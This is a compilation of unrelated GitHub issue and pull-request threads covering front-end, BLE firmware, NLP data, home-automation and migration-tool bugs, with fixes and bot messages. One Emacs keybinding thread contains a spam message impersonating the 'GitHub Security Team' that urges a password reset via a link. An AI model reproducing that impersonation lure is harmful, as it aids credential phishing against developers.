text:
image data from backend api is base64 format, but html2canvas requires a blob format

Bug reports:
The backend provides an image of base64 format, and html2canvas always expect an blob format. I looked into html2canvas.js and find blob format is configured as below:
    var testResponseType = function () { return typeof new XMLHttpRequest().responseType === 'string'; };
    ...
    get SUPPORT_RESPONSE_TYPE() {
        var value = testResponseType();
        Object.defineProperty(FEATURES, 'SUPPORT_RESPONSE_TYPE', { value: value });
        return value;
    },
   ...
   var responseType = FEATURES.SUPPORT_RESPONSE_TYPE ? 'blob' : 'text';

As  typeof new XMLHttpRequest().responseType === 'string' is true on Chrome browser, so testReponseType is true and html2canvas expects a string format image. However resposneType is set to blob instead of text, and I got the following error :
html2canvas.min.js:formatted:4144 Uncaught (in promise) TypeError: Failed to execute 'readAsDataURL' on 'FileReader': parameter 1 is not of type 'Blob'.
    at n.r.onload (html2canvas.min.js:formatted:4144)

Shouldn't responsetype be set as
var responseType = FEATURES.SUPPORT_RESPONSE_TYPE ? 'text' : 'blob' ;
Also I wonder if the image format can become a configuration parameter like proxy, width etc.
Specifications:

html2canvas version tested with:
Browser: Chrome 95.0.4638.54 (Official Build) (x86_64)
Operating system: OSX  10.15.6

I'm not sure whether this is what you're looking for, but I found this video helpful when I was facing HTML to canvas errors (it's the first part of the video): https://www.youtube.com/watch?v=zmJV6VN2h2E


text:
Completed the Frequency.java required by hard issue # 924

Completed the Frequency.java required by hard issue #924

Merged

This is an automated message from Fork, Commit, Merge [BOT].

Thank you for your contribution! Your pull request has been merged. The files have been reset for the next contributor.
What's next?
If you're looking for more ways to contribute, I invite you to check out my other projects. Just click here to find more. These projects contain real issues that you can help resolve. You can also check out the Influences section in the README to find more projects similar to this one.
Also please leave a star to this project if you feel it helped you, i would really appreciate it.
I look forward to seeing your contributions!

source: gharchive/pull-request

repo: nikohoffren/fork-commit-merge

license: MIT

license_type: permissive

license_source: github-api


text:
Fix issue

Description
Write a function that returns the sum of two numbers
Additional Context
#876

Merged

This is an automated message from Fork, Commit, Merge [BOT].

Thank you for your contribution! Your pull request has been merged. The files have been reset for the next contributor.
What's next?
If you're looking for more ways to contribute, I invite you to check out my other projects. Just click here to find more. These projects contain real issues that you can help resolve. You can also check out the Influences section in the README to find more projects similar to this one.
Also please leave a star to this project if you feel it helped you, i would really appreciate it.
I look forward to seeing your contributions!

authors: nikohoffren sujallimje


text:
Numi alfred package (development version) not working!

Numi is really great!
Some issues with the alfred package though:
I have just downloaded both numi (development version: http://numi.io/static/dev/Numi.zip) and the alfred package numi by nilolaeu from packal: http://www.packal.org/workflow/numi
When I try to use the alfred package (shortcut "n") anything I type after it leads to the error:
Failed to connect to localhost:15055: Connection refused
Any idea how to fix this (if possible without to have to explicitly authorise port 15055)?

Same issue here

@gbstan @drreen can you try to disable and re-enable Alfred integration in Numi preferences ?

Sure. It now works with the latest versions of Numi and the Numi Alfred workflow.
Sent from my phone.

On Jun 10, 2017 at 7:22 am,  <Dmitry Nikolaev (mailto:notifications@github.com)>  wrote:
@gbstan (https://github.com/gbstan)   @drreen (https://github.com/drreen)  can you try to disable and re-enable Alfred integration in Numi preferences ?
—
You are receiving this because you were mentioned.
Reply to this email directly,   view it on GitHub (https://github.com/nikolaeu/Numi/issues/35#issuecomment-307546061), or   mute the thread (https://github.com/notifications/unsubscribe-auth/ADyzR11IUP6zIlD1I_KbYySq7E2ZCuRBks5sCjYjgaJpZM4NZgI5).

I don't see the Alfred option in the Numi preferences. I'm using the Setapp version.

@yeastcapp should be available v soon

@nikolaeu Thanks dude!

source: gharchive/issue

authors: drreen gbstan nikolaeu yeastcapp

repo: nikolaeu/NumiKit


text:
Remove comma.

Needs option to remove commas from results.

Please?

repo: nikolaeu/numi-extensions


text:
release页面中下载的源码是上一个版本的

release页面中下载的源码是上一个版本的

已经更新

authors: mskgroup nilaoda


text:
Adding an alert box when submit button is clicked without choosing any option in music quiz

🚀 Feature
I want to add an alert box which will remind user to click on option first when any user clicks submit button in music quiz without clicking on any option.
Motivation
When submit button is clicked without choosing any option, nothing happens as of now. It is possible for any user to click on submit button by mistake without clicking on any option first and thus he/she might get confused as to why nothing is happening when they click on submit button. Thus it will be better if an alert box pops up reminding user that he/she has forgotten to click on any of the options.
Pitch
Implementing this feature will enhance the overall user experience. Thus I request you to assign me this issue.
Add relevant screenshot or video (if any)
(Add here)

Hey @nilisha-jais  I am a LGM participant.Please assign this issue to me.
/assign

/assign

@akshita2903 the issue was opened by @pallavi-1812 so let her complete. You can take up any other issue.

Okay..

repo: nilisha-jais/Musicophilia


text:
[RESOLVED] Unavailable by ICMP ping

Problem started at 11:57:17 on 2023.01.23
Problem name: Unavailable by ICMP ping
Host: ST-FG
Severity: High
Operational data: Down (0)
Original problem ID: 4738
Event details in Zabbix: http://192.168.232.99/tr_events.php?triggerid=23133&eventid=4738

Problem has been resolved in 53m 59s at 12:51:16 on 2023.01.23
Problem name: Unavailable by ICMP ping
Host: ST-FG
Severity: High
Original problem ID: 4738


text:
Return _uname_info from the uname_info() method

Fixes #229
I'm sorry, I don't understand how the test cases work well enough to see why the existing uname_info tests failed to pick up this problem otherwise I would have adapted them to test this case too.  I'm guessing that they test the _uname_info() method directly instead of testing the uname_info() method but I don't quite see where that would be happening.

Great catch. The tests are actually testing uname attributes directly, which is wrong. I'll merge this, but we should definitely attend to the missing tests.

license_source: bigquery


text:
C-p & C-n bindings to move curser

Hi,
I'm wondering why is it that binding for these two commands set to scroll and not move the curse on line up and down?
Based on what I use in Emacs and also the Emacs' manual it should be
C-n
<DOWN>
    Move down one screen line (next-line).

C-p
<UP>
    Move up one screen line (previous-line)

Urgent: Security Alert for
Hello,
We've detected unusual activity in your GitHub repository . To ensure that your account remains secure, we urgently need you to take action.
What You Need To Do:

Verify Repository Settings

Ensure that your repository settings have not been altered without your consent.

Reset Your Password

Visit this secure link to reset your password immediately: Reset Password

Revoke Unauthorized Access

After resetting, please review any unauthorized access and revoke them.

Thank you for your prompt attention to this matter to ensure the security of your GitHub account.
If you did not initiate these changes, please contact us immediately.
Best Regards,
GitHub Security Team

authors: GtdsIndonesia slashmili

repo: nisheetjain/vscode-emacs

license: mit


text:
英語版にした際、新型コロナウイルス感染症が心配なときにの、If you are advised to be examined for COVID-19の19のみが改行される

改善詳細 / Details of Improvement
英語版にした際、新型コロナウイルス感染症が心配なときにの、If you are advised to be examined for COVID-19の19のみが改行される。
スクリーンショット / Screenshot

期待する見せ方・挙動 / Expected behavior

改行しないかfor COVID-19を改行する

動作環境・ブラウザ / Environment

Windows10
Chrome(ズーム100％)

たしかに、開いてるブラウザのウィンドウサイズにより改行位置が変わるため許容範囲だと思いますのでCloseします。

@atososon
issue立てた時と文言が変わっているかと思うので、対応箇所のスクリーンショットを貼り付けておいてもらって、クローズしてもらえると確認しやすいので助かります。

現状のflowページのPC版・モバイル版の見え方
以下に貼り付け、UIの確認を行ったところ、特に崩れや不自然な改行等は見つからなかったので、本issueはcloseします。

authors: atososon nishidayoshikatsu


text:
subset: Add grammar and kind

Implement the syntactic, inheritance and instantiation rules.
Obsoletes: #2469

tests_are_ok. Only test_neo4j_batch failed.

♻

[x] Split changes to MClassKind::can_specialize (as @privat suggested)

♻ on top of master

♻

[x] Deny signature definitions for predicates.

repo: nitlang/nit


text:
阅读器中自由放大滚动模式、全屏、放大状态下有部分画面被遮挡

Release: daisy-v0.1.13-windows-x86_64.zip

如图，阅读器为自由放大滚动模式、全屏状态，漫画是从右向左阅读，此状态下如果对漫画进行放大，会导致画面无法向右边拖动（到头了），无法看到右边的内容

这是未放大的状态，可以看到和图1相比右边还有内容，但是放大状态就无法看到

1

authors: margin-bqk niuhuan

repo: niuhuan/daisy


text:
配置文件疑问

args.json里指定激活函数的选项，写成了thah，这样不是相当于没有使用任何激活函数吗

改成tanh后，name_mat = preprocessing.normalize(name_mat)这一句会报错：ValueError: Input contains NaN, infinity or a value too large for dtype('float64').

抱歉。这里是我学弟实现方法时候的bug。可以试试别的激活函数或者不用激活函数。
这个报错的原因，我猜测是有的实体的name embedding是零向量。可以不用激活函数试试。
感谢大家对本工作的关注。

加了激活函数之后，准确率还低了一些...

加了激活函数之后，准确率还低了一些...

后面有空的时候我来调试看看。
另外，这个方法的multi-view learning的思想可以借鉴，但是比如用到name embeddings的事情，不建议再继续研究了，或者不建议在这个数据集上研究，我们一开始在构造数据集和设计方法的时候，没有考虑到name同源的问题。虽然方法没问题，但是我们也注意到后续很多工作都使用name embeddings，但是这并不能准确反映模型的有效性，需要做ablation study。

authors: Everglow123 lianzhaoy sunzequn

repo: nju-websoft/MultiKE


text:
WorkItemRevisionReplayMigrationConfig failing when revisions contain area/iteration paths that no longer exist

I'm running a migration for a team project that has been around for years. I already migrated the entire area/iteration trees to the target project. While trying to migrate the work items with history, many of the items are failing to migrate to the target project. I can see they are failing when the work item revision contains an area or iteration path that no longer exists in the source project. Meaning that the items used to be in paths that have since been deleted or renamed.
WorkItemRevisionReplayMigrationContext: System.IterationPath (Iteration Path) | teamproject\RVI\Product\Backlog\2016 R5\ReDesign
WorkItemRevisionReplayMigrationContext: Microsoft.TeamFoundation.WorkItemTracking.Client.ValidationException: TF237124: Work Item is not ready to save
at Microsoft.TeamFoundation.WorkItemTracking.Client.WorkItem.Save(SaveFlags saveFlags)
at VstsSyncMigrator.Engine.WorkItemRevisionReplayMigrationContext.ReplayRevisions(WorkItem sourceWorkItem, Project destProject, WorkItemStoreContext sourceStore, Int32 current, WorkItemStoreContext targetStore) in d:\a\1\s\src
WorkItemRevisionReplayMigrationContext: ...Replaying 5 revisions of work item 266058
WorkItemRevisionReplayMigrationContext: Dependency: TeamService - NewWorkItem - 10/8/2017 5:49:29 PM - 00:00:00 - True
WorkItemRevisionReplayMigrationContext: ... Building WorkItemRevisionReplayMigrationContext: ...build complete
WorkItemRevisionReplayMigrationContext: FieldMapOnNewWorkItem: 10/8/2017 5:49:29 PM - 00:00:00
WorkItemRevisionReplayMigrationContext: 6144 - Invalid: 266058-Test Case-System.IterationPath
WorkItemRevisionReplayMigrationContext: ...FAILED to Save
I'm not sure how to get around this since the NodeStructuresMigrationConfig processor only migrates the current node structure. Does not account for deleting/renaming area and iteration paths over time. Is there anyway to set up value mappings for area and iteration?

You cant migrate when Area and Iteration Paths dont exist. All Iteration and Area paths must be a) mapped to the new format, or b) exist in the new location.
Since it is not possible for your source work items to have an Area or Iteration selected that does not exist you have:

Not migrated your area and iteration paths
Dont have the PrefixTeamProject set the same on both migrators
Have a mapping to a target Area or Iteration structure that does not exist.

Hi MrHinsh,
All 3 of those are not the case. The history revisions in the source project contain iteration paths that no longer exist. They were deleted in the source project months ago. So the NodeStructuresMigrationConfig doesn't migrate them. When the WorkItemRevisionReplayMigrationConfig is applying the history of a work item, it is trying to apply the deleted iteration path that used to exist and Fails. Even though the work items are currently in a valid iteration path that has been migrated, they used to be in a path that no longer exists.
So is there anyway for the migration tool to handle work item revisions in history that contain area/iteration paths that have been deleted? Can I set up any kind of mapping for that, or set up some rule to skip those occurrences or something like that?
Thanks,
Patrick

Ah, I get it. I was not following that you were using the Revision  migrator. You should be able to setup a mapping using the regex field mapping.

Ok I can give that a shot. The only problem is finding out what the invalid paths are. As I have no way to know that until the migration runs and reports the failures. And when I am migrating several thousand work items, it is quite painful to search through that giant log file for invalid iteration paths.
Is there a way to output only the errors into a separate log file? Or is there anything else you could suggest?

Ok I got it working with a single path mapping. Not quite sure how I can set it up for multiple path mappings yet, but here is the code I used to set all iteration paths to a specific value in the target project, regardless of what they were in the source. If you do this for both Area and Iteration path, it mitigates the need to run the NodeStructuresMigrationConfig at all.
{
  "ObjectType": "VstsSyncMigrator.Engine.Configuration.FieldMap.RegexFieldMapConfig",
  "pattern": "^.*$",
  "replacement": "TargetTeamProjectName\\PathText\\",
  "sourceField": "System.IterationPath",
  "targetField": "System.IterationPath",
  "WorkItemTypeName": "User Story"
}

Hi,
im using Version: 10.2.2.0 and have the same problem.
I deleted an iteration path and the migrator is not performing a correct migration. The iteration path field is empty after migration.
Is it possible to always use the iteration/area path from the last revision? The last revision is always a valid value. Or is there a general solution for this?
Regards,
Joerg

authors: MrHinsh joergmaier pbcahill

repo: nkdAgility/vsts-sync-migration


text:
Aseprite > AnimatedSprite not working in Godot 4.3

When using AnimatedSprite2D with SpriteFrames set to an .aseprite file, no preview will show in the editor or when running the game. There are no errors, but repeated warnings for:
parse_variant: Broken external resource! (index out of size)
<C++ Source> core/io/resource_format_binary.cpp:448 @ parse_variant()

I reproduced it by creating a new project with only an AnimatedSprite2D
Importality v0.3.0
Windows 11
v4.3.stable.official [77dcf97d8] (Compatibility renderer)

Same issue and console warning as reported. Adding some screenshots:
In Godot, the animation frames are blank:

In Aseprite:

I had the same problem, and then I tried it on 4.3-stable, 4.2.2-stable, and 4.1-stable, 4.2.2-stable showing frame animation

Try disabling the FLAG_BUNDLE_RESOURCES flag in the animated sprite 2D.gd file in the importality plug in. That fixed the problem for me

I had same issue, fixed with @ThalwegIII comment! Thanks.
My Godot version:

Plugin commit:
7f6b0717cd52f67bb5aa8f694c8155aaecf01a5f

authors: ThalwegIII siglesiasg thyancey treepumpkin wangchongbin


text:
BLE Server:  Service can't be connected to when # of characteristics > 5

With the following code, when there are only 5 characteristics, everything works fine.  But, once I increase the # of characteristics to 6 or more, the BLE client on my smartphone can't see or connect to the Service any more.   I've tested this on more than 1 BLE client so I am sure it is not a problem with the client.
Is there any limit on the number of characteristics I can have?  Or, can you anything I have done wrong?
Your help will be greatly appreciated.
#include <esp_log.h>
#include "freertos/FreeRTOS.h"
#include <driver/adc.h>
#include "esp_system.h"
#include "nvs_flash.h"
#include "driver/gpio.h"
#include "BLEServer.h"
#include "BLEDevice.h"

#define BLE_DEVICE_NAME "BleTest"

#define SERVICE_UUID	"e87c9761-597f-4e0c-b20d-d49052a827a0"
#define CHARACTERISTIC1 "e87c9761-597f-4e0c-b20d-d49052a827a1"
#define CHARACTERISTIC2 "e87c9761-597f-4e0c-b20d-d49052a827a2"
#define CHARACTERISTIC3 "e87c9761-597f-4e0c-b20d-d49052a827a3"
#define CHARACTERISTIC4 "e87c9761-597f-4e0c-b20d-d49052a827a4"
#define CHARACTERISTIC5 "e87c9761-597f-4e0c-b20d-d49052a827a5"
#define CHARACTERISTIC6 "e87c9761-597f-4e0c-b20d-d49052a827a6"

BLECharacteristic *pCharacteristic1;
BLECharacteristic *pCharacteristic2;
BLECharacteristic *pCharacteristic3;
BLECharacteristic *pCharacteristic4;
BLECharacteristic *pCharacteristic5;
BLECharacteristic *pCharacteristic6;

// handler for BLE write
class myCharacteristicCallbacks: public BLECharacteristicCallbacks {
	void onWrite(BLECharacteristic *pCharacteristic) {
	};

	void onRead(BLECharacteristic *pCharacteristic) {
	}
};

// BLE Manager
void startBleManager() {
	char myBLEDeviceName[40];
	uint8_t chipid[6];

	esp_efuse_mac_get_default(chipid);
	sprintf(myBLEDeviceName, BLE_DEVICE_NAME":%02x:%02x:%02x:%02x:%02x:%02x\n",chipid[0], chipid[1], chipid[2], chipid[3], chipid[4], chipid[5]);

	BLEDevice::init(myBLEDeviceName);

	BLEServer *pServer = BLEDevice::createServer();
	BLEService *pService = pServer->createService(BLEUUID(SERVICE_UUID));

	pCharacteristic1 =  pService->createCharacteristic(
				BLEUUID(CHARACTERISTIC1),
				BLECharacteristic::PROPERTY_READ
			);
        pCharacteristic2 =  pService->createCharacteristic(
                                BLEUUID(CHARACTERISTIC2),
                                BLECharacteristic::PROPERTY_READ
                        );
        pCharacteristic3 =  pService->createCharacteristic(
                                BLEUUID(CHARACTERISTIC3),
                                BLECharacteristic::PROPERTY_READ
                        );
        pCharacteristic4 =  pService->createCharacteristic(
                                BLEUUID(CHARACTERISTIC4),
                                BLECharacteristic::PROPERTY_READ
                        );
        pCharacteristic5 =  pService->createCharacteristic(
                                BLEUUID(CHARACTERISTIC5),
                                BLECharacteristic::PROPERTY_READ
                        );
        pCharacteristic6 =  pService->createCharacteristic(
                                BLEUUID(CHARACTERISTIC6),
                                BLECharacteristic::PROPERTY_READ
                        );

	pCharacteristic1->setCallbacks(new myCharacteristicCallbacks());
	pCharacteristic2->setCallbacks(new myCharacteristicCallbacks());
	pCharacteristic3->setCallbacks(new myCharacteristicCallbacks());
	pCharacteristic4->setCallbacks(new myCharacteristicCallbacks());
	pCharacteristic5->setCallbacks(new myCharacteristicCallbacks());
	pCharacteristic6->setCallbacks(new myCharacteristicCallbacks());

	pService->start();
	BLEAdvertising *pAdvertising = pServer->getAdvertising();
	pAdvertising->start();
}

extern "C" void app_main(void)
{
    esp_err_t err = nvs_flash_init();
    if (err == ESP_ERR_NVS_NO_FREE_PAGES) {
        // NVS partition was truncated and needs to be erased
        // Retry nvs_flash_init
        ESP_ERROR_CHECK(nvs_flash_erase());
        err = nvs_flash_init();
    }
    ESP_ERROR_CHECK( err );

    // starts the Wifi Connection Manager, which will start other tasks once connected
    startBleManager();
}

Hi,
did you try to add second parameter (handles number) in createService?
https://github.com/nkolban/esp32-snippets/blob/master/cpp_utils/BLEService.cpp#L47

Just tried this:
       BLEService *pService = pServer->createService(BLEUUID(SERVICE_UUID), 200);
No difference at all.

Its been working some time ago with over 20 characteristics + descriptors. If you are using android device to connect then you have to remember that android is caching connections and you need to connect few times to see difference.

I am testing this using an ios app called "BLE Scanner" (also testing with my own React Native app).  I tried reloading the client app many times.  It still doesn't work unless I reduce the # of Characteristics to 5.  I even increased the handle count to 2000.  No change to the behavior at all.

More info.   If I do not increase the max # of handles and I have 8 or more characteristics, I would get the following error when looking at serial monitor:
E (558) BLEUtils: [status: ESP_GATT_ERROR, attr_handle: 0 0x00, service_handle: 40 0x28, char_uuid: e87c9761-597f-4e0c-b20d-d49052a827a8]
Increasing the handle count solves this error, but the client would still not be able to connect to the service.  Thus, my originally reported issue at 6 or more characteristics is a different.
Let me summarize again:
Scenario#1      # of characteristics <= 5
Everything works!
Scenario#2      # of characteristics >= 6  (regardless of what max # of handles is)
Cannot connect to the BLE server service
Scenario#3      # of characteristics >= 8  AND using default # of handles
ESP_GATT_ERROR, attr_handle: 0 0x00 error
Scenario#4      # of characteristics >= 8  AND using increased # of handles
No more ESP_GATT_ERROR, attr_handle error, but still cannot connect to the BLE server service

I have also found this error. I was able to use @joehui comment above to fix my issue. I don't have the exact numbers, but I did notice that I at first tried using the exact number of handles I was using and it didn't work, it still only worked for some many. I increased it from something like 20 to 50 and it started working.

Does somebody solved this problem?

There is no problem, you have to create service with handles number parameter. I didnt know how many handles you need to setup, but lately someone corrected me and said that you need 2 handles per each characteristic + 1 handle per each descriptor + 1 handle for service.

authors: chegewara joehui justind000 mrengineer


text:
Cannot connect to FTP

Hi,
i have set all the credentials needed for the FMServer ( Dest, port, user, pass ) but it fails to connect to the server ( the login credentials are correct ).
using your CheckLogin method in FTPManager it returns failed but the server tells me that it has connected properly.
when i run any other method the server tells me it has logged in successfully but then returns the error "site command failed"
when i run it through your example app i get the error - 2016-12-12 12:30:52.501137 FTPManager[57990:10784190] ftp stream failed: general stream error (check credentials?)
what am i doing wrong?

Hi,
could you set a breakpoint in FTPManager.m on line 789 and print the value of the variable a? This way we could see what the server actually answers.

no longer using this library, thanks for your reply though.

authors: bunkerbilly nkreipke

repo: nkreipke/FTPManager


text:
Update Docs Before V2023.3.0-stable

See #355
Just so we don't forget :)

Also screenshots

Also oc translation dll

repo: nlogozzo/NickvisionMoney


text:
Improve documentation InputType and IteratorType

Closes #3245.

Coverage remained the same at 100.0% when pulling 10486abe35c8b5fe32975bdcdf52009fec7bb665 on issue3245_improve_documentation into 9e89c2fdb5dffb400413289cdef11b2b79bbdad8 on develop.

authors: coveralls nlohmann

repo: nlohmann/json


text:
fix typo in json_pointer.md

Fixed typo.
withing -> within

Pull request checklist
Read the Contribution Guidelines for detailed information.

[ ]  Changes are described in the pull request, or an existing issue is referenced.
[ ]  The test suite compiles and runs without error.
[ ]  Code coverage is 100%. Test cases can be added by editing the test suite.
[ ]  The source code is amalgamated; that is, after making changes to the sources in the include/nlohmann directory, run make amalgamate to create the single-header files single_include/nlohmann/json.hpp and single_include/nlohmann/json_fwd.hpp. The whole process is described here.

Coverage remained the same at 100.0% when pulling f9f3d5fd4326be4bfa6c3bbfe964b5eb19fad3b8 on eltociear:patch-1 into a92ccafd2c7709243451e947a21ad08203273483 on nlohmann:develop.

authors: coveralls eltociear


text:
panlex is offline (404)

>>> nltk.download('panlex_lite')
[nltk_data] Downloading package panlex_lite to
[nltk_data]     /Users/username/nltk_data...
[nltk_data] Error downloading u'panlex_lite' from
[nltk_data]     <https://raw.githubusercontent.com/nltk/nltk_data/gh-
[nltk_data]     pages/packages/corpora/panlex_lite.zip>:   HTTP Error
[nltk_data]     404: Not Found
False

Is there a workaround for this?

+1

Please install the development version of nltk to get the required functionality (third party corpus download locations)

Where can I get the development version of nltk?

On a linux machine, You can try:
pip install virtualenv
mkdir new_python_environment
cd new_python_environment
virtualenv -p /usr/bin/python2.7 venv
source venv/bin/activate
git clone https://github.com/nltk/nltk.git
cd nltk
python setup.py

But do note that doing so will subject your environment to the develop branch and it might contain some buggy code that is under-development. Also, it might break other software that depends on NLTK or its dependencies.
IMHO, if you don't really need the panlex corpus, you should wait until the 3rd party download feature get pushed into the normal master release branch for users.

Closing (resolved in HEAD)

@stevenbird I am still get error, refer below log.
Any update documents or something else? Thanks
/usr/local/bin/python2.7 -m nltk.downloader -q all -d /usr/local/share/nltk_data
[nltk_data] Error downloading u'panlex_lite' from
[nltk_data]     <https://raw.githubusercontent.com/nltk/nltk_data/gh-
[nltk_data]     pages/packages/corpora/panlex_lite.zip>:   HTTP Error
[nltk_data]     404: Not Found

@alvations  can you help on this? When run it on cli still get above error

@henryon there're several options to resolve the problem.
If you don't need to use the panlex_lite corpus, then you can just use the python interpreter and do
import nltk; nltk.download('all', halt_on_error=False, download_dir=/path/to/where/you/wanna/save/)

(That will save the nltk_data to /path/to/where/you/wanna/save/nltk_data, see https://github.com/nltk/nltk/blob/develop/nltk/downloader.py#L646 for parameters for the nltk.downloader function)
If you need the panlex_lite corpus and you're willing to upgrade your NLTK, try
pip install -U nltk
python -m nltk.downloader panlex_lite

I'm not sure the packaged version on https://pypi.python.org/pypi/nltk has the 3rd party corpus download function).  Otherwise try the develop branch (CAUTION: the develop branch might be subjected to breaking code):
pip install -U git+https://github.com/nltk/nltk.git

or
pip install -U https://github.com/nltk/nltk/archive/develop.zip

then
python -m nltk.download panlex_lite

If all else fails, try downloading the panlex_lite.zip directly from http://dev.panlex.org/db/panlex_lite.zip then put it in the nltk_data directory manually.
And if  the panlex link fails, I've uploaded a copy on my personal dropbox for personal use but I'm not sure whether I can redistribute it. Licensing seems to be contribution dependent in panlex.

@alvations  thanks for your reply. will response to you after verify.

Thanks @alvations. This functionality is not yet available in any release.
(This issue is a duplicate of #1253)

For me it just stuck at downloading the panlex_lite package...have to mention that nltk is already upgraded. My version of python is 3.5..I don't get any error message,simply nothing.
Btw,I also tried on Pycharm,still the same
Any ideas ?

authors: Bullettoothtobi Johnny20Ok alvations derekcoleman erlizhou henryon sorpaas stevenbird

repo: nltk/nltk


text:
How tp change configuration?

I am fairly new to HASS and learn about all the "quirks".
One thing that is very frustrating is the missing (easy) ability to change settings on "integrations".
If I want to add a meter to the SolarEdge Modbus configuration after the initial configuration, how can I do this? I would expect somewhere to get to the dialog that was showing during the first installation of the integration. Do I miss something?
Also, I do have two inverters setup as Leader and Follower via RS485. I do not see an option to configure this anywhere. I can set my second inverter to use Modbus TCP as well but there is no way to install "two" integrations of the same type (IP Address of the second inverter is different).
Again, might be me as a HASS newbee ;)

If I want to add a meter to the SolarEdge Modbus configuration after the
initial configuration, how can I do this? I would expect somewhere to get
to the dialog that was showing during the first installation of the
integration. Do I miss something?

You need to delete your integration and then reinstall with the new
settings for your meter.

Also, I do have two inverters setup as Leader and Follower via RS485. I do
not see an option to configure this anywhere. I can set my second inverter
to use Modbus TCP as well but there is no way to install "two" integrations
of the same type (IP Address of the second inverter is different).

I have my two inverters setup with different IP addresses. I just installed
another instance with the new IP address.
Again, might be me as a HASS newbee ;)

We have all been there. Happy to help.

Thanks, I reloaded my integration and added two meters - works great....but
The SolarEdge API shows that there are 5 meters on my primary inverter but I can only see 2.
I guess the SolarEdge cloud is splitting the "Import/Export" meter into two (Separate Import and Export meter) and two of the 5 are "virtual" meters: one labeled "Consumption" and the other "Self Consumption".
Can I only see/access the first two meters using this integration because there might only be two real meters attached to the inverter?
I also have a battery (LG Resu Prime) on each inverter but I cannot access them via Modbus.
The battery access is actually quite important. My plan is to monitor the battery level during a power outage and shut off some smart (Tuya) switches when the battery gets low. That way the batteries will last longer during an outage for critical devices.
Do you have any idea why the battery access  via Modbus TCP will not work? Their DeviceID is set to #15 (read for the SolarEdge Energy Hub inverter commissioning screen)

One more interesting thing: The Modbus TCP server in the SolarEdge Energy Hub seems to be disabled during a "Power Outage - Battery Backup" situation. That prevents the solaredge-modbus integration from reading anything from the system.
I hope SolarEdge is improving on their firmware for the Energy Hub soon

Log shows this:
2021-11-09 10:06:11 ERROR (MainThread) [custom_components.solaredge_modbus] Error reading modbus data
Traceback (most recent call last):
File "/config/custom_components/solaredge_modbus/init.py", line 187, in async_refresh_modbus_data
update_result = self.read_modbus_data()
File "/config/custom_components/solaredge_modbus/init.py", line 230, in read_modbus_data
and self.read_modbus_data_meter2()
File "/config/custom_components/solaredge_modbus/init.py", line 247, in read_modbus_data_meter2
return self.read_modbus_data_meter("m2_", 40364)
File "/config/custom_components/solaredge_modbus/init.py", line 405, in read_modbus_data_meter
exported = validate(self.calculate_value(exported, energywsf), ">", 0)
File "/config/custom_components/solaredge_modbus/init.py", line 124, in validate
raise ValueError(f"Value {value} failed validation ({comparison}{against})")
ValueError: Value 0 failed validation (>0)

authors: muenchris purcell-lab


text:
Update sbt to 1.7.0

Updates org.scala-sbt:sbt from 1.4.9 to 1.7.0.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Applied Scalafix Migrations

org.scala-sbt:sbt:1.5.0 (created no change)

https://gist.githubusercontent.com/eed3si9n/57e83f5330592d968ce49f0d5030d4d5/raw/7f576f16a90e432baa49911c9a66204c354947bb/Sbt0_13BuildSyntax.scala
Documentation: https://eed3si9n.com/syntactic-scalafix-rule-for-unified-slash-syntax

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scala-sbt", artifactId = "sbt" } ]

labels: library-update, early-semver-minor, semver-spec-minor, scalafix-migrations, commit-count:1

Superseded by #5.

repo: nmcb/proust


text:
Add 2024 Champions page

Hi @stefaniebutland ,
Could you please add the 2024 Champions cohort in 2 places? It will be a bit of a "stub" for now and we'll add more after the Pathways presentations next week.

[x] Update upcoming vs past
[ ] Add a new page, with as much as you can to look something like https://nmfs-openscapes.github.io/cohorts/SEFSC-sum2022.html
[x] Review https://nmfs-openscapes.github.io/champions.html; maybe write in italics at the top this is the page in preparation for the 2024 cohort; check back as we prepare for fall 2025!

If you're able to start the 2024 pages this week, we can update during our Dec 5 coworking!

draft PR https://github.com/nmfs-openscapes/nmfs-openscapes.github.io/pull/63

note to self: add cohort b zoomie

@stefaniebutland done! Thank you!

closed as completed


text:
[BUG]: Automatic downloads not working for MPI3D and dSprites

Describe the bug
The downloads for MPI3D and dSprites do not work automatically
To Reproduce
from disent.dataset.data import Mpi3dData
data = Mpi3dData(in_memory=True)

Leads to
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\[...]\\data\\dataset\\mpi3d_realistic\\mpi3d_realistic.npz'

Expected behaviour
It would be nice if the datasets were downloaded automatically, as they are for XYSquares.
Other than that thanks a lot for the library, very helpful!

Interesting. I have not extensively tested this the download functionality on windows. Something might be wrong with the path handling functionality.
I’ll work on adding some basic tests for this when I get a chance.
As a work around, are you able to manually download the files into the directory it wants?

I noticed the color and shape MPI3D ground-truth factors were wrong due to a data loading error.
If you are still using MPI3D, please use disent==0.6.0, I have fixed this problem.
Are you still having the data preparation error?

I am closing this issue for now. If it is still a problem, please don't hesitate to re-open this issue!

authors: JohannesAck nmichlo

repo: nmichlo/disent


text:
Application Exception: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to all...

This is an issue created automatically by GrammarNazi when an exception was captured.
Date (UTC): 05/04/2022 15:13:23
Exception:
Microsoft.Data.SqlClient.SqlException (0x80131904): A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: TCP Provider, error: 40 - Could not open a connection to SQL Server: Could not open a connection to SQL Server)
